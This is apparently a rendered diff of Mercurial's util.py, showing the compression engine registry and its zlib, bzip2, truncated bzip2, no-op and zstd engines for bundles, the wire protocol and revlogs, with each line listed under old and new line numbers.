3187 name)
3189
3188
3190 bundleinfo = engine.bundletype()
3189 bundleinfo = engine.bundletype()
3191 if bundleinfo:
3190 if bundleinfo:
3192 bundlename, bundletype = bundleinfo
3191 bundlename, bundletype = bundleinfo
3193
3192
3194 if bundlename in self._bundlenames:
3193 if bundlename in self._bundlenames:
3195 raise error.Abort(_('bundle name %s already registered') %
3194 raise error.Abort(_('bundle name %s already registered') %
3196 bundlename)
3195 bundlename)
3197 if bundletype in self._bundletypes:
3196 if bundletype in self._bundletypes:
3198 raise error.Abort(_('bundle type %s already registered by %s') %
3197 raise error.Abort(_('bundle type %s already registered by %s') %
3199 (bundletype, self._bundletypes[bundletype]))
3198 (bundletype, self._bundletypes[bundletype]))
3200
3199
3201 # No external facing name declared.
3200 # No external facing name declared.
3202 if bundlename:
3201 if bundlename:
3203 self._bundlenames[bundlename] = name
3202 self._bundlenames[bundlename] = name
3204
3203
3205 self._bundletypes[bundletype] = name
3204 self._bundletypes[bundletype] = name
3206
3205
3207 wiresupport = engine.wireprotosupport()
3206 wiresupport = engine.wireprotosupport()
3208 if wiresupport:
3207 if wiresupport:
3209 wiretype = wiresupport.name
3208 wiretype = wiresupport.name
3210 if wiretype in self._wiretypes:
3209 if wiretype in self._wiretypes:
3211 raise error.Abort(_('wire protocol compression %s already '
3210 raise error.Abort(_('wire protocol compression %s already '
3212 'registered by %s') %
3211 'registered by %s') %
3213 (wiretype, self._wiretypes[wiretype]))
3212 (wiretype, self._wiretypes[wiretype]))
3214
3213
3215 self._wiretypes[wiretype] = name
3214 self._wiretypes[wiretype] = name
3216
3215
3217 revlogheader = engine.revlogheader()
3216 revlogheader = engine.revlogheader()
3218 if revlogheader and revlogheader in self._revlogheaders:
3217 if revlogheader and revlogheader in self._revlogheaders:
3219 raise error.Abort(_('revlog header %s already registered by %s') %
3218 raise error.Abort(_('revlog header %s already registered by %s') %
3220 (revlogheader, self._revlogheaders[revlogheader]))
3219 (revlogheader, self._revlogheaders[revlogheader]))
3221
3220
3222 if revlogheader:
3221 if revlogheader:
3223 self._revlogheaders[revlogheader] = name
3222 self._revlogheaders[revlogheader] = name
3224
3223
3225 self._engines[name] = engine
3224 self._engines[name] = engine
3226
3225
3227 @property
3226 @property
3228 def supportedbundlenames(self):
3227 def supportedbundlenames(self):
3229 return set(self._bundlenames.keys())
3228 return set(self._bundlenames.keys())
3230
3229
3231 @property
3230 @property
3232 def supportedbundletypes(self):
3231 def supportedbundletypes(self):
3233 return set(self._bundletypes.keys())
3232 return set(self._bundletypes.keys())
3234
3233
3235 def forbundlename(self, bundlename):
3234 def forbundlename(self, bundlename):
3236 """Obtain a compression engine registered to a bundle name.
3235 """Obtain a compression engine registered to a bundle name.
3237
3236
3238 Will raise KeyError if the bundle type isn't registered.
3237 Will raise KeyError if the bundle type isn't registered.
3239
3238
3240 Will abort if the engine is known but not available.
3239 Will abort if the engine is known but not available.
3241 """
3240 """
3242 engine = self._engines[self._bundlenames[bundlename]]
3241 engine = self._engines[self._bundlenames[bundlename]]
3243 if not engine.available():
3242 if not engine.available():
3244 raise error.Abort(_('compression engine %s could not be loaded') %
3243 raise error.Abort(_('compression engine %s could not be loaded') %
3245 engine.name())
3244 engine.name())
3246 return engine
3245 return engine
3247
3246
3248 def forbundletype(self, bundletype):
3247 def forbundletype(self, bundletype):
3249 """Obtain a compression engine registered to a bundle type.
3248 """Obtain a compression engine registered to a bundle type.
3250
3249
3251 Will raise KeyError if the bundle type isn't registered.
3250 Will raise KeyError if the bundle type isn't registered.
3252
3251
3253 Will abort if the engine is known but not available.
3252 Will abort if the engine is known but not available.
3254 """
3253 """
3255 engine = self._engines[self._bundletypes[bundletype]]
3254 engine = self._engines[self._bundletypes[bundletype]]
3256 if not engine.available():
3255 if not engine.available():
3257 raise error.Abort(_('compression engine %s could not be loaded') %
3256 raise error.Abort(_('compression engine %s could not be loaded') %
3258 engine.name())
3257 engine.name())
3259 return engine
3258 return engine
3260
3259
3261 def supportedwireengines(self, role, onlyavailable=True):
3260 def supportedwireengines(self, role, onlyavailable=True):
3262 """Obtain compression engines that support the wire protocol.
3261 """Obtain compression engines that support the wire protocol.
3263
3262
3264 Returns a list of engines in prioritized order, most desired first.
3263 Returns a list of engines in prioritized order, most desired first.
3265
3264
3266 If ``onlyavailable`` is set, filter out engines that can't be
3265 If ``onlyavailable`` is set, filter out engines that can't be
3267 loaded.
3266 loaded.
3268 """
3267 """
3269 assert role in (SERVERROLE, CLIENTROLE)
3268 assert role in (SERVERROLE, CLIENTROLE)
3270
3269
3271 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3270 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3272
3271
3273 engines = [self._engines[e] for e in self._wiretypes.values()]
3272 engines = [self._engines[e] for e in self._wiretypes.values()]
3274 if onlyavailable:
3273 if onlyavailable:
3275 engines = [e for e in engines if e.available()]
3274 engines = [e for e in engines if e.available()]
3276
3275
3277 def getkey(e):
3276 def getkey(e):
3278 # Sort first by priority, highest first. In case of tie, sort
3277 # Sort first by priority, highest first. In case of tie, sort
3279 # alphabetically. This is arbitrary, but ensures output is
3278 # alphabetically. This is arbitrary, but ensures output is
3280 # stable.
3279 # stable.
3281 w = e.wireprotosupport()
3280 w = e.wireprotosupport()
3282 return -1 * getattr(w, attr), w.name
3281 return -1 * getattr(w, attr), w.name
3283
3282
3284 return list(sorted(engines, key=getkey))
3283 return list(sorted(engines, key=getkey))
3285
3284
3286 def forwiretype(self, wiretype):
3285 def forwiretype(self, wiretype):
3287 engine = self._engines[self._wiretypes[wiretype]]
3286 engine = self._engines[self._wiretypes[wiretype]]
3288 if not engine.available():
3287 if not engine.available():
3289 raise error.Abort(_('compression engine %s could not be loaded') %
3288 raise error.Abort(_('compression engine %s could not be loaded') %
3290 engine.name())
3289 engine.name())
3291 return engine
3290 return engine
3292
3291
3293 def forrevlogheader(self, header):
3292 def forrevlogheader(self, header):
3294 """Obtain a compression engine registered to a revlog header.
3293 """Obtain a compression engine registered to a revlog header.
3295
3294
3296 Will raise KeyError if the revlog header value isn't registered.
3295 Will raise KeyError if the revlog header value isn't registered.
3297 """
3296 """
3298 return self._engines[self._revlogheaders[header]]
3297 return self._engines[self._revlogheaders[header]]
3299
3298
3300 compengines = compressormanager()
3299 compengines = compressormanager()
3301
3300
3302 class compressionengine(object):
3301 class compressionengine(object):
3303 """Base class for compression engines.
3302 """Base class for compression engines.
3304
3303
3305 Compression engines must implement the interface defined by this class.
3304 Compression engines must implement the interface defined by this class.
3306 """
3305 """
3307 def name(self):
3306 def name(self):
3308 """Returns the name of the compression engine.
3307 """Returns the name of the compression engine.
3309
3308
3310 This is the key the engine is registered under.
3309 This is the key the engine is registered under.
3311
3310
3312 This method must be implemented.
3311 This method must be implemented.
3313 """
3312 """
3314 raise NotImplementedError()
3313 raise NotImplementedError()
3315
3314
3316 def available(self):
3315 def available(self):
3317 """Whether the compression engine is available.
3316 """Whether the compression engine is available.
3318
3317
3319 The intent of this method is to allow optional compression engines
3318 The intent of this method is to allow optional compression engines
3320 that may not be available in all installations (such as engines relying
3319 that may not be available in all installations (such as engines relying
3321 on C extensions that may not be present).
3320 on C extensions that may not be present).
3322 """
3321 """
3323 return True
3322 return True
3324
3323
3325 def bundletype(self):
3324 def bundletype(self):
3326 """Describes bundle identifiers for this engine.
3325 """Describes bundle identifiers for this engine.
3327
3326
3328 If this compression engine isn't supported for bundles, returns None.
3327 If this compression engine isn't supported for bundles, returns None.
3329
3328
3330 If this engine can be used for bundles, returns a 2-tuple of strings of
3329 If this engine can be used for bundles, returns a 2-tuple of strings of
3331 the user-facing "bundle spec" compression name and an internal
3330 the user-facing "bundle spec" compression name and an internal
3332 identifier used to denote the compression format within bundles. To
3331 identifier used to denote the compression format within bundles. To
3333 exclude the name from external usage, set the first element to ``None``.
3332 exclude the name from external usage, set the first element to ``None``.
3334
3333
3335 If bundle compression is supported, the class must also implement
3334 If bundle compression is supported, the class must also implement
3336 ``compressstream`` and `decompressorreader``.
3335 ``compressstream`` and `decompressorreader``.
3337
3336
3338 The docstring of this method is used in the help system to tell users
3337 The docstring of this method is used in the help system to tell users
3339 about this engine.
3338 about this engine.
3340 """
3339 """
3341 return None
3340 return None
3342
3341
3343 def wireprotosupport(self):
3342 def wireprotosupport(self):
3344 """Declare support for this compression format on the wire protocol.
3343 """Declare support for this compression format on the wire protocol.
3345
3344
3346 If this compression engine isn't supported for compressing wire
3345 If this compression engine isn't supported for compressing wire
3347 protocol payloads, returns None.
3346 protocol payloads, returns None.
3348
3347
3349 Otherwise, returns ``compenginewireprotosupport`` with the following
3348 Otherwise, returns ``compenginewireprotosupport`` with the following
3350 fields:
3349 fields:
3351
3350
3352 * String format identifier
3351 * String format identifier
3353 * Integer priority for the server
3352 * Integer priority for the server
3354 * Integer priority for the client
3353 * Integer priority for the client
3355
3354
3356 The integer priorities are used to order the advertisement of format
3355 The integer priorities are used to order the advertisement of format
3357 support by server and client. The highest integer is advertised
3356 support by server and client. The highest integer is advertised
3358 first. Integers with non-positive values aren't advertised.
3357 first. Integers with non-positive values aren't advertised.
3359
3358
3360 The priority values are somewhat arbitrary and only used for default
3359 The priority values are somewhat arbitrary and only used for default
3361 ordering. The relative order can be changed via config options.
3360 ordering. The relative order can be changed via config options.
3362
3361
3363 If wire protocol compression is supported, the class must also implement
3362 If wire protocol compression is supported, the class must also implement
3364 ``compressstream`` and ``decompressorreader``.
3363 ``compressstream`` and ``decompressorreader``.
3365 """
3364 """
3366 return None
3365 return None
3367
3366
3368 def revlogheader(self):
3367 def revlogheader(self):
3369 """Header added to revlog chunks that identifies this engine.
3368 """Header added to revlog chunks that identifies this engine.
3370
3369
3371 If this engine can be used to compress revlogs, this method should
3370 If this engine can be used to compress revlogs, this method should
3372 return the bytes used to identify chunks compressed with this engine.
3371 return the bytes used to identify chunks compressed with this engine.
3373 Else, the method should return ``None`` to indicate it does not
3372 Else, the method should return ``None`` to indicate it does not
3374 participate in revlog compression.
3373 participate in revlog compression.
3375 """
3374 """
3376 return None
3375 return None
3377
3376
3378 def compressstream(self, it, opts=None):
3377 def compressstream(self, it, opts=None):
3379 """Compress an iterator of chunks.
3378 """Compress an iterator of chunks.
3380
3379
3381 The method receives an iterator (ideally a generator) of chunks of
3380 The method receives an iterator (ideally a generator) of chunks of
3382 bytes to be compressed. It returns an iterator (ideally a generator)
3381 bytes to be compressed. It returns an iterator (ideally a generator)
3383 of bytes of chunks representing the compressed output.
3382 of bytes of chunks representing the compressed output.
3384
3383
3385 Optionally accepts an argument defining how to perform compression.
3384 Optionally accepts an argument defining how to perform compression.
3386 Each engine treats this argument differently.
3385 Each engine treats this argument differently.
3387 """
3386 """
3388 raise NotImplementedError()
3387 raise NotImplementedError()
3389
3388
3390 def decompressorreader(self, fh):
3389 def decompressorreader(self, fh):
3391 """Perform decompression on a file object.
3390 """Perform decompression on a file object.
3392
3391
3393 Argument is an object with a ``read(size)`` method that returns
3392 Argument is an object with a ``read(size)`` method that returns
3394 compressed data. Return value is an object with a ``read(size)`` that
3393 compressed data. Return value is an object with a ``read(size)`` that
3395 returns uncompressed data.
3394 returns uncompressed data.
3396 """
3395 """
3397 raise NotImplementedError()
3396 raise NotImplementedError()
3398
3397
3399 def revlogcompressor(self, opts=None):
3398 def revlogcompressor(self, opts=None):
3400 """Obtain an object that can be used to compress revlog entries.
3399 """Obtain an object that can be used to compress revlog entries.
3401
3400
3402 The object has a ``compress(data)`` method that compresses binary
3401 The object has a ``compress(data)`` method that compresses binary
3403 data. This method returns compressed binary data or ``None`` if
3402 data. This method returns compressed binary data or ``None`` if
3404 the data could not be compressed (too small, not compressible, etc).
3403 the data could not be compressed (too small, not compressible, etc).
3405 The returned data should have a header uniquely identifying this
3404 The returned data should have a header uniquely identifying this
3406 compression format so decompression can be routed to this engine.
3405 compression format so decompression can be routed to this engine.
3407 This header should be identified by the ``revlogheader()`` return
3406 This header should be identified by the ``revlogheader()`` return
3408 value.
3407 value.
3409
3408
3410 The object has a ``decompress(data)`` method that decompresses
3409 The object has a ``decompress(data)`` method that decompresses
3411 data. The method will only be called if ``data`` begins with
3410 data. The method will only be called if ``data`` begins with
3412 ``revlogheader()``. The method should return the raw, uncompressed
3411 ``revlogheader()``. The method should return the raw, uncompressed
3413 data or raise a ``RevlogError``.
3412 data or raise a ``RevlogError``.
3414
3413
3415 The object is reusable but is not thread safe.
3414 The object is reusable but is not thread safe.
3416 """
3415 """
3417 raise NotImplementedError()
3416 raise NotImplementedError()
3418
3417
3419 class _zlibengine(compressionengine):
3418 class _zlibengine(compressionengine):
3420 def name(self):
3419 def name(self):
3421 return 'zlib'
3420 return 'zlib'
3422
3421
3423 def bundletype(self):
3422 def bundletype(self):
3424 """zlib compression using the DEFLATE algorithm.
3423 """zlib compression using the DEFLATE algorithm.
3425
3424
3426 All Mercurial clients should support this format. The compression
3425 All Mercurial clients should support this format. The compression
3427 algorithm strikes a reasonable balance between compression ratio
3426 algorithm strikes a reasonable balance between compression ratio
3428 and size.
3427 and size.
3429 """
3428 """
3430 return 'gzip', 'GZ'
3429 return 'gzip', 'GZ'
3431
3430
3432 def wireprotosupport(self):
3431 def wireprotosupport(self):
3433 return compewireprotosupport('zlib', 20, 20)
3432 return compewireprotosupport('zlib', 20, 20)
3434
3433
3435 def revlogheader(self):
3434 def revlogheader(self):
3436 return 'x'
3435 return 'x'
3437
3436
3438 def compressstream(self, it, opts=None):
3437 def compressstream(self, it, opts=None):
3439 opts = opts or {}
3438 opts = opts or {}
3440
3439
3441 z = zlib.compressobj(opts.get('level', -1))
3440 z = zlib.compressobj(opts.get('level', -1))
3442 for chunk in it:
3441 for chunk in it:
3443 data = z.compress(chunk)
3442 data = z.compress(chunk)
3444 # Not all calls to compress emit data. It is cheaper to inspect
3443 # Not all calls to compress emit data. It is cheaper to inspect
3445 # here than to feed empty chunks through generator.
3444 # here than to feed empty chunks through generator.
3446 if data:
3445 if data:
3447 yield data
3446 yield data
3448
3447
3449 yield z.flush()
3448 yield z.flush()
3450
3449
3451 def decompressorreader(self, fh):
3450 def decompressorreader(self, fh):
3452 def gen():
3451 def gen():
3453 d = zlib.decompressobj()
3452 d = zlib.decompressobj()
3454 for chunk in filechunkiter(fh):
3453 for chunk in filechunkiter(fh):
3455 while chunk:
3454 while chunk:
3456 # Limit output size to limit memory.
3455 # Limit output size to limit memory.
3457 yield d.decompress(chunk, 2 ** 18)
3456 yield d.decompress(chunk, 2 ** 18)
3458 chunk = d.unconsumed_tail
3457 chunk = d.unconsumed_tail
3459
3458
3460 return chunkbuffer(gen())
3459 return chunkbuffer(gen())
3461
3460
3462 class zlibrevlogcompressor(object):
3461 class zlibrevlogcompressor(object):
3463 def compress(self, data):
3462 def compress(self, data):
3464 insize = len(data)
3463 insize = len(data)
3465 # Caller handles empty input case.
3464 # Caller handles empty input case.
3466 assert insize > 0
3465 assert insize > 0
3467
3466
3468 if insize < 44:
3467 if insize < 44:
3469 return None
3468 return None
3470
3469
3471 elif insize <= 1000000:
3470 elif insize <= 1000000:
3472 compressed = zlib.compress(data)
3471 compressed = zlib.compress(data)
3473 if len(compressed) < insize:
3472 if len(compressed) < insize:
3474 return compressed
3473 return compressed
3475 return None
3474 return None
3476
3475
3477 # zlib makes an internal copy of the input buffer, doubling
3476 # zlib makes an internal copy of the input buffer, doubling
3478 # memory usage for large inputs. So do streaming compression
3477 # memory usage for large inputs. So do streaming compression
3479 # on large inputs.
3478 # on large inputs.
3480 else:
3479 else:
3481 z = zlib.compressobj()
3480 z = zlib.compressobj()
3482 parts = []
3481 parts = []
3483 pos = 0
3482 pos = 0
3484 while pos < insize:
3483 while pos < insize:
3485 pos2 = pos + 2**20
3484 pos2 = pos + 2**20
3486 parts.append(z.compress(data[pos:pos2]))
3485 parts.append(z.compress(data[pos:pos2]))
3487 pos = pos2
3486 pos = pos2
3488 parts.append(z.flush())
3487 parts.append(z.flush())
3489
3488
3490 if sum(map(len, parts)) < insize:
3489 if sum(map(len, parts)) < insize:
3491 return ''.join(parts)
3490 return ''.join(parts)
3492 return None
3491 return None
3493
3492
3494 def decompress(self, data):
3493 def decompress(self, data):
3495 try:
3494 try:
3496 return zlib.decompress(data)
3495 return zlib.decompress(data)
3497 except zlib.error as e:
3496 except zlib.error as e:
3498 raise error.RevlogError(_('revlog decompress error: %s') %
3497 raise error.RevlogError(_('revlog decompress error: %s') %
3499 str(e))
3498 str(e))
3500
3499
3501 def revlogcompressor(self, opts=None):
3500 def revlogcompressor(self, opts=None):
3502 return self.zlibrevlogcompressor()
3501 return self.zlibrevlogcompressor()
3503
3502
3504 compengines.register(_zlibengine())
3503 compengines.register(_zlibengine())
3505
3504
3506 class _bz2engine(compressionengine):
3505 class _bz2engine(compressionengine):
3507 def name(self):
3506 def name(self):
3508 return 'bz2'
3507 return 'bz2'
3509
3508
3510 def bundletype(self):
3509 def bundletype(self):
3511 """An algorithm that produces smaller bundles than ``gzip``.
3510 """An algorithm that produces smaller bundles than ``gzip``.
3512
3511
3513 All Mercurial clients should support this format.
3512 All Mercurial clients should support this format.
3514
3513
3515 This engine will likely produce smaller bundles than ``gzip`` but
3514 This engine will likely produce smaller bundles than ``gzip`` but
3516 will be significantly slower, both during compression and
3515 will be significantly slower, both during compression and
3517 decompression.
3516 decompression.
3518
3517
3519 If available, the ``zstd`` engine can yield similar or better
3518 If available, the ``zstd`` engine can yield similar or better
3520 compression at much higher speeds.
3519 compression at much higher speeds.
3521 """
3520 """
3522 return 'bzip2', 'BZ'
3521 return 'bzip2', 'BZ'
3523
3522
3524 # We declare a protocol name but don't advertise by default because
3523 # We declare a protocol name but don't advertise by default because
3525 # it is slow.
3524 # it is slow.
3526 def wireprotosupport(self):
3525 def wireprotosupport(self):
3527 return compewireprotosupport('bzip2', 0, 0)
3526 return compewireprotosupport('bzip2', 0, 0)
3528
3527
3529 def compressstream(self, it, opts=None):
3528 def compressstream(self, it, opts=None):
3530 opts = opts or {}
3529 opts = opts or {}
3531 z = bz2.BZ2Compressor(opts.get('level', 9))
3530 z = bz2.BZ2Compressor(opts.get('level', 9))
3532 for chunk in it:
3531 for chunk in it:
3533 data = z.compress(chunk)
3532 data = z.compress(chunk)
3534 if data:
3533 if data:
3535 yield data
3534 yield data
3536
3535
3537 yield z.flush()
3536 yield z.flush()
3538
3537
3539 def decompressorreader(self, fh):
3538 def decompressorreader(self, fh):
3540 def gen():
3539 def gen():
3541 d = bz2.BZ2Decompressor()
3540 d = bz2.BZ2Decompressor()
3542 for chunk in filechunkiter(fh):
3541 for chunk in filechunkiter(fh):
3543 yield d.decompress(chunk)
3542 yield d.decompress(chunk)
3544
3543
3545 return chunkbuffer(gen())
3544 return chunkbuffer(gen())
3546
3545
3547 compengines.register(_bz2engine())
3546 compengines.register(_bz2engine())
3548
3547
3549 class _truncatedbz2engine(compressionengine):
3548 class _truncatedbz2engine(compressionengine):
3550 def name(self):
3549 def name(self):
3551 return 'bz2truncated'
3550 return 'bz2truncated'
3552
3551
3553 def bundletype(self):
3552 def bundletype(self):
3554 return None, '_truncatedBZ'
3553 return None, '_truncatedBZ'
3555
3554
3556 # We don't implement compressstream because it is hackily handled elsewhere.
3555 # We don't implement compressstream because it is hackily handled elsewhere.
3557
3556
3558 def decompressorreader(self, fh):
3557 def decompressorreader(self, fh):
3559 def gen():
3558 def gen():
3560 # The input stream doesn't have the 'BZ' header. So add it back.
3559 # The input stream doesn't have the 'BZ' header. So add it back.
3561 d = bz2.BZ2Decompressor()
3560 d = bz2.BZ2Decompressor()
3562 d.decompress('BZ')
3561 d.decompress('BZ')
3563 for chunk in filechunkiter(fh):
3562 for chunk in filechunkiter(fh):
3564 yield d.decompress(chunk)
3563 yield d.decompress(chunk)
3565
3564
3566 return chunkbuffer(gen())
3565 return chunkbuffer(gen())
3567
3566
3568 compengines.register(_truncatedbz2engine())
3567 compengines.register(_truncatedbz2engine())
3569
3568
3570 class _noopengine(compressionengine):
3569 class _noopengine(compressionengine):
3571 def name(self):
3570 def name(self):
3572 return 'none'
3571 return 'none'
3573
3572
3574 def bundletype(self):
3573 def bundletype(self):
3575 """No compression is performed.
3574 """No compression is performed.
3576
3575
3577 Use this compression engine to explicitly disable compression.
3576 Use this compression engine to explicitly disable compression.
3578 """
3577 """
3579 return 'none', 'UN'
3578 return 'none', 'UN'
3580
3579
3581 # Clients always support uncompressed payloads. Servers don't because
3580 # Clients always support uncompressed payloads. Servers don't because
3582 # unless you are on a fast network, uncompressed payloads can easily
3581 # unless you are on a fast network, uncompressed payloads can easily
3583 # saturate your network pipe.
3582 # saturate your network pipe.
3584 def wireprotosupport(self):
3583 def wireprotosupport(self):
3585 return compewireprotosupport('none', 0, 10)
3584 return compewireprotosupport('none', 0, 10)
3586
3585
3587 # We don't implement revlogheader because it is handled specially
3586 # We don't implement revlogheader because it is handled specially
3588 # in the revlog class.
3587 # in the revlog class.
3589
3588
3590 def compressstream(self, it, opts=None):
3589 def compressstream(self, it, opts=None):
3591 return it
3590 return it
3592
3591
3593 def decompressorreader(self, fh):
3592 def decompressorreader(self, fh):
3594 return fh
3593 return fh
3595
3594
3596 class nooprevlogcompressor(object):
3595 class nooprevlogcompressor(object):
3597 def compress(self, data):
3596 def compress(self, data):
3598 return None
3597 return None
3599
3598
3600 def revlogcompressor(self, opts=None):
3599 def revlogcompressor(self, opts=None):
3601 return self.nooprevlogcompressor()
3600 return self.nooprevlogcompressor()
3602
3601
3603 compengines.register(_noopengine())
3602 compengines.register(_noopengine())
3604
3603
3605 class _zstdengine(compressionengine):
3604 class _zstdengine(compressionengine):
3606 def name(self):
3605 def name(self):
3607 return 'zstd'
3606 return 'zstd'
3608
3607
3609 @propertycache
3608 @propertycache
3610 def _module(self):
3609 def _module(self):
3611 # Not all installs have the zstd module available. So defer importing
3610 # Not all installs have the zstd module available. So defer importing
3612 # until first access.
3611 # until first access.
3613 try:
3612 try:
3614 from . import zstd
3613 from . import zstd
3615 # Force delayed import.
3614 # Force delayed import.
3616 zstd.__version__
3615 zstd.__version__
3617 return zstd
3616 return zstd
3618 except ImportError:
3617 except ImportError:
3619 return None
3618 return None
3620
3619
3621 def available(self):
3620 def available(self):
3622 return bool(self._module)
3621 return bool(self._module)
3623
3622
3624 def bundletype(self):
3623 def bundletype(self):
3625 """A modern compression algorithm that is fast and highly flexible.
3624 """A modern compression algorithm that is fast and highly flexible.
3626
3625
3627 Only supported by Mercurial 4.1 and newer clients.
3626 Only supported by Mercurial 4.1 and newer clients.
3628
3627
3629 With the default settings, zstd compression is both faster and yields
3628 With the default settings, zstd compression is both faster and yields
3630 better compression than ``gzip``. It also frequently yields better
3629 better compression than ``gzip``. It also frequently yields better
3631 compression than ``bzip2`` while operating at much higher speeds.
3630 compression than ``bzip2`` while operating at much higher speeds.
3632
3631
3633 If this engine is available and backwards compatibility is not a
3632 If this engine is available and backwards compatibility is not a
3634 concern, it is likely the best available engine.
3633 concern, it is likely the best available engine.
3635 """
3634 """
3636 return 'zstd', 'ZS'
3635 return 'zstd', 'ZS'
3637
3636
3638 def wireprotosupport(self):
3637 def wireprotosupport(self):
3639 return compewireprotosupport('zstd', 50, 50)
3638 return compewireprotosupport('zstd', 50, 50)
3640
3639
3641 def revlogheader(self):
3640 def revlogheader(self):
3642 return '\x28'
3641 return '\x28'
3643
3642
3644 def compressstream(self, it, opts=None):
3643 def compressstream(self, it, opts=None):
3645 opts = opts or {}
3644 opts = opts or {}
3646 # zstd level 3 is almost always significantly faster than zlib
3645 # zstd level 3 is almost always significantly faster than zlib
3647 # while providing no worse compression. It strikes a good balance
3646 # while providing no worse compression. It strikes a good balance
3648 # between speed and compression.
3647 # between speed and compression.
3649 level = opts.get('level', 3)
3648 level = opts.get('level', 3)
3650
3649
3651 zstd = self._module
3650 zstd = self._module
3652 z = zstd.ZstdCompressor(level=level).compressobj()
3651 z = zstd.ZstdCompressor(level=level).compressobj()
3653 for chunk in it:
3652 for chunk in it:
3654 data = z.compress(chunk)
3653 data = z.compress(chunk)
3655 if data:
3654 if data:
3656 yield data
3655 yield data
3657
3656
3658 yield z.flush()
3657 yield z.flush()
3659
3658
3660 def decompressorreader(self, fh):
3659 def decompressorreader(self, fh):
3661 zstd = self._module
3660 zstd = self._module
3662 dctx = zstd.ZstdDecompressor()
3661 dctx = zstd.ZstdDecompressor()
3663 return chunkbuffer(dctx.read_from(fh))
3662 return chunkbuffer(dctx.read_from(fh))
3664
3663
3665 class zstdrevlogcompressor(object):
3664 class zstdrevlogcompressor(object):
3666 def __init__(self, zstd, level=3):
3665 def __init__(self, zstd, level=3):
3667 # Writing the content size adds a few bytes to the output. However,
3666 # Writing the content size adds a few bytes to the output. However,
3668 # it allows decompression to be more optimal since we can
3667 # it allows decompression to be more optimal since we can
3669 # pre-allocate a buffer to hold the result.
3668 # pre-allocate a buffer to hold the result.
3670 self._cctx = zstd.ZstdCompressor(level=level,
3669 self._cctx = zstd.ZstdCompressor(level=level,
3671 write_content_size=True)
3670 write_content_size=True)
3672 self._dctx = zstd.ZstdDecompressor()
3671 self._dctx = zstd.ZstdDecompressor()
3673 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3672 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3674 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3673 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3675
3674
3676 def compress(self, data):
3675 def compress(self, data):
3677 insize = len(data)
3676 insize = len(data)
3678 # Caller handles empty input case.
3677 # Caller handles empty input case.
3679 assert insize > 0
3678 assert insize > 0
3680
3679
3681 if insize < 50:
3680 if insize < 50:
3682 return None
3681 return None
3683
3682
3684 elif insize <= 1000000:
3683 elif insize <= 1000000:
3685 compressed = self._cctx.compress(data)
3684 compressed = self._cctx.compress(data)
3686 if len(compressed) < insize:
3685 if len(compressed) < insize:
3687 return compressed
3686 return compressed
3688 return None
3687 return None
3689 else:
3688 else:
3690 z = self._cctx.compressobj()
3689 z = self._cctx.compressobj()
3691 chunks = []
3690 chunks = []
3692 pos = 0
3691 pos = 0
3693 while pos < insize:
3692 while pos < insize:
3694 pos2 = pos + self._compinsize
3693 pos2 = pos + self._compinsize
3695 chunk = z.compress(data[pos:pos2])
3694 chunk = z.compress(data[pos:pos2])
3696 if chunk:
3695 if chunk:
3697 chunks.append(chunk)
3696 chunks.append(chunk)
3698 pos = pos2
3697 pos = pos2
3699 chunks.append(z.flush())
3698 chunks.append(z.flush())
3700
3699
3701 if sum(map(len, chunks)) < insize:
3700 if sum(map(len, chunks)) < insize:
3702 return ''.join(chunks)
3701 return ''.join(chunks)
3703 return None
3702 return None
3704
3703
3705 def decompress(self, data):
3704 def decompress(self, data):
3706 insize = len(data)
3705 insize = len(data)
3707
3706
3708 try:
3707 try:
3709 # This was measured to be faster than other streaming
3708 # This was measured to be faster than other streaming
3710 # decompressors.
3709 # decompressors.
3711 dobj = self._dctx.decompressobj()
3710 dobj = self._dctx.decompressobj()
3712 chunks = []
3711 chunks = []
3713 pos = 0
3712 pos = 0
3714 while pos < insize:
3713 while pos < insize:
3715 pos2 = pos + self._decompinsize
3714 pos2 = pos + self._decompinsize
3716 chunk = dobj.decompress(data[pos:pos2])
3715 chunk = dobj.decompress(data[pos:pos2])
3717 if chunk:
3716 if chunk:
3718 chunks.append(chunk)
3717 chunks.append(chunk)
3719 pos = pos2
3718 pos = pos2
3720 # Frame should be exhausted, so no finish() API.
3719 # Frame should be exhausted, so no finish() API.
3721
3720
3722 return ''.join(chunks)
3721 return ''.join(chunks)
3723 except Exception as e:
3722 except Exception as e:
3724 raise error.RevlogError(_('revlog decompress error: %s') %
3723 raise error.RevlogError(_('revlog decompress error: %s') %
3725 str(e))
3724 str(e))
3726
3725
3727 def revlogcompressor(self, opts=None):
3726 def revlogcompressor(self, opts=None):
3728 opts = opts or {}
3727 opts = opts or {}
3729 return self.zstdrevlogcompressor(self._module,
3728 return self.zstdrevlogcompressor(self._module,
3730 level=opts.get('level', 3))
3729 level=opts.get('level', 3))
3731
3730
3732 compengines.register(_zstdengine())
3731 compengines.register(_zstdengine())
3733
3732
3734 def bundlecompressiontopics():
3733 def bundlecompressiontopics():
3735 """Obtains a list of available bundle compressions for use in help."""
3734 """Obtains a list of available bundle compressions for use in help."""
3736 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3735 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3737 items = {}
3736 items = {}
3738
3737
3739 # We need to format the docstring. So use a dummy object/type to hold it
3738 # We need to format the docstring. So use a dummy object/type to hold it
3740 # rather than mutating the original.
3739 # rather than mutating the original.
3741 class docobject(object):
3740 class docobject(object):
3742 pass
3741 pass
3743
3742
3744 for name in compengines:
3743 for name in compengines:
3745 engine = compengines[name]
3744 engine = compengines[name]
3746
3745
3747 if not engine.available():
3746 if not engine.available():
3748 continue
3747 continue
3749
3748
3750 bt = engine.bundletype()
3749 bt = engine.bundletype()
3751 if not bt or not bt[0]:
3750 if not bt or not bt[0]:
3752 continue
3751 continue
3753
3752
3754 doc = pycompat.sysstr('``%s``\n %s') % (
3753 doc = pycompat.sysstr('``%s``\n %s') % (
3755 bt[0], engine.bundletype.__doc__)
3754 bt[0], engine.bundletype.__doc__)
3756
3755
3757 value = docobject()
3756 value = docobject()
3758 value.__doc__ = doc
3757 value.__doc__ = doc
3759
3758
3760 items[bt[0]] = value
3759 items[bt[0]] = value
3761
3760
3762 return items
3761 return items
3763
3762
3764 # convenient shortcut
3763 # convenient shortcut
3765 dst = debugstacktrace
3764 dst = debugstacktrace
@@ -1,1157 +1,1157 b''
1 Prepare repo a:
